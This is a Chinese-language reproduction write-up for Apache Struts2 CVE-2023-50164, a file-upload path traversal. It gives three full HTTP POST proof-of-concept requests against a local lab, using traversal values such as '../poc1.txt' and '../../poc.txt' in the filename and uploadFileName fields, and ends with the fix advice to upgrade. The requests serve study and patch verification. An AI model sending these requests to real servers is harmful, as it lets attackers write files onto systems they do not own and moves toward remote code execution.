一、漏洞背景
Apache Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。关于Apache Struts2中的远程代码执行漏洞(CVE-2023-50164),攻击者可利用该漏洞执行任意代码。
二、漏洞详情
此漏洞是由于文件上传逻辑存在缺陷,攻击者可利用上传文件参数来启动路径遍历,从而上传恶意文件,导致远程代码执行
三、影响范围
2.5.0<=Apache Struts2<=2.5.32
6.0.0<=Apache Struts2<=6.3.0
四、漏洞复现
第一步:首先导入tomcat配置,然后启动Apache Struts2环境(CVE-2023-50164环境在安全笔记标签里面),如下:
第二步:然后利用poc1,可以成功上传文件,burp工具也可以成功上传。
POST /struts_war_exploded/upload.action HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 242
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="../poc1.txt"
Content-Type: text/plain
1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
访问路径:http://127.0.0.1/struts_war_exploded/upload/poc1.txt
利用poc2,可以成功上传文件
POST /struts_war_exploded/upload.action HTTP/1.1
Host: 127.0.0.1
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Length: 593
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="upload"; filename="poc2.txt"
Content-Type: text/plain
test
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="caption";
{{randstr(4097,4097)}}
------WebKitFormBoundary5WJ61X4PRwyYKlip--
访问路径:http://127.0.0.1/struts_war_exploded/upload/poc2.txt
利用poc3,可以成功上传文件
POST /struts_war_exploded/upload.action HTTP/1.1
Host: 127.0.0.1
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Length: 593
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="upload"; filename="poc3.txt"
Content-Type: text/plain
test
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="uploadFileName";
../../poc.txt
------WebKitFormBoundary5WJ61X4PRwyYKlip--
访问路径:http://127.0.0.1/struts_war_exploded/upload/poc3.txt
五、漏洞修复建议
目前官方已修复该漏洞,受影响用户可以升级更新到安全版本。官方下载链接:https://struts.apache.org/download.cgi
原文始发于微信公众号(安全笔记):Apache Struts2 CVE-2023-50164漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论